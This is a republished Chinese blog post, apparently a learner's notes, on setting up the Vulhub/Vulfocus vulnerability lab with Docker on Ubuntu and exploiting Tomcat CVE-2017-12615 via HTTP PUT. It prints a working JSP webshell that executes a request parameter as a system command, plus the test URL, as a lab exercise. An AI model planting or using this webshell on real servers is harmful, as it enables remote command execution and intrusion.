栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

vulnhub靶场搭建_vulhub靶场有哪些漏洞?

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

vulnhub靶场搭建_vulhub靶场有哪些漏洞?

记录自己的技能学习

第一章 开源漏洞靶场 Vulhub环境搭建

前言

尝试开始在CSDN上记录自己的学习过程,含泪学习,从零开始的小菜鸡。

一、Ubuntu环境的配置

在VMware Workstation Pro中搭建了两次Ubuntu环境:按照Vulhub的官网提示,第一次安装了Ubuntu20.04,结果发现python的版本为3.8,无法安装pip3。但现实是官网上的教程步骤有很大的问题,很多都用不到。
果断将虚拟机的版本更换为Ubuntu18.04,自己改进了Vulhub靶场构建的步骤,现将步骤与遇到的实际bug记录如下:

(一)使用 apt-get 命令的时候,遇到这种错误咋办?

E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)
E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?
1、找出并杀掉所有 apt-get 或者 apt 进程

ps aux|grep apt
sudo kill -9 30288(pid)

2、 删除锁定的文件
首先运行下面的命令来移除 /var/lib/dpkg/ 文件夹下的锁定文件:

sudo rm /var/lib/dpkg/lock

之后像下面这样强制重新配置软件包:

sudo dpkg --configure -a
sudo apt-get upgrade
(二)安装相应服务
sudo apt install python3-pip    #安装pip3
pip3 -V                         #查看pip3的版本
sudo apt-get install docker.io  #安装docker
systemctl status docker         #查看docker的状态
apt install docker-compose      #安装docker-compose
(三)安装并启动Vulhub
docker pull vulfocus/vulfocus:latest   #拉取Vulhub的镜像
docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=***.***.***.*** vulfocus/vulfocus  #将IP改为服务端IP,运行Vulfocus,注意查看并记录docker的pid
docker ps   #查看docker的状态
docker start ********   #将vulhub的pid输入并启动

最后检验一下能否正常打开,windows主机访问这个地址的80端口,这里的端口也可以改成其他的。
如能正常打开,admin/admin登陆。

二、Vulhub靶场训练实操 (一)Tomcat任意写入文件漏洞(CVE-2017-12615) 1.漏洞原理

这个漏洞被称之为Tomcat PUT方法任意写文件漏洞,类似IIS的PUT上传漏洞。该漏洞可以利用HTTP的PUT方法直接上传webshell到目标服务器,从而获取权限。该漏洞是高危漏洞,在Tomcat的web.xml默认情况下不存在该漏洞,但是一单开发者或者运维人员手动讲web.xml中的readonly设置为false,可以通过 PUT / DELETE 进行文件操控。
漏洞的核心错误配置是web.xml中的readonly


    default
    org.apache.catalina.servlets.DefaultServlet
    
        readonly
        true
    
    1

2.漏洞利用 a.打开tomcat的页面

在该步骤中,需要对漏洞进行扫描,但事实上,这一步并没有进行。

b.使用Burp工具进行抓包,并将码子上传

1、启动Burp并设置电脑的代理

2、使用burp抓包并将抓包信息传给Rapeader

3、将码子上传并测试getshell

<%
    java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("
");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("
"); %>

在web页面使用如下命令测试:

http://***.***.***.***:8080/cmd.jsp?i=ls
小技巧 一、提升vmware虚拟机的存储容量

1、在虚拟机设置内,将虚拟机的存储容量进行扩展。
2、在系统内部进行如下操作:

sudo apt-get install gparted   #安装gparted终端
sudo gparted                   #打开该终端,进行硬盘扩容
二、Docker操作

进入运行中的容器:docker attach 容器ID 或者 docker exec -it 容器ID或容器名字 /bin/bash

注:attach退出则暂停容器,exec退出则容器扔运行,推荐exec

   docker exec :在运行的容器中执行命令

                    -d :分离模式: 在后台运行

                     -i :即使没有附加也保持STDIN(标准输入) 打开,以交互模式运行容器,通常与 -t 同时使用;

                     -t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用;

可用docker start 容器名或ID 启动容器;docker stop 容器名或ID 关闭容器;kill 杀掉;restart 重启。

漏洞环境的手动启动

1、进入vulhub目录下,找到相应的漏洞
2、确保docker处于启动状态,否则手动启动。

systemctl start docker

3、在漏洞路径下执行docker命令,启动漏洞环境

docker-compose up -d

4、利用完毕关闭漏洞

docker-compose down
总结

这是第一篇小菜鸡网路安全之路,技术积累,但行无悔。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/782861.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号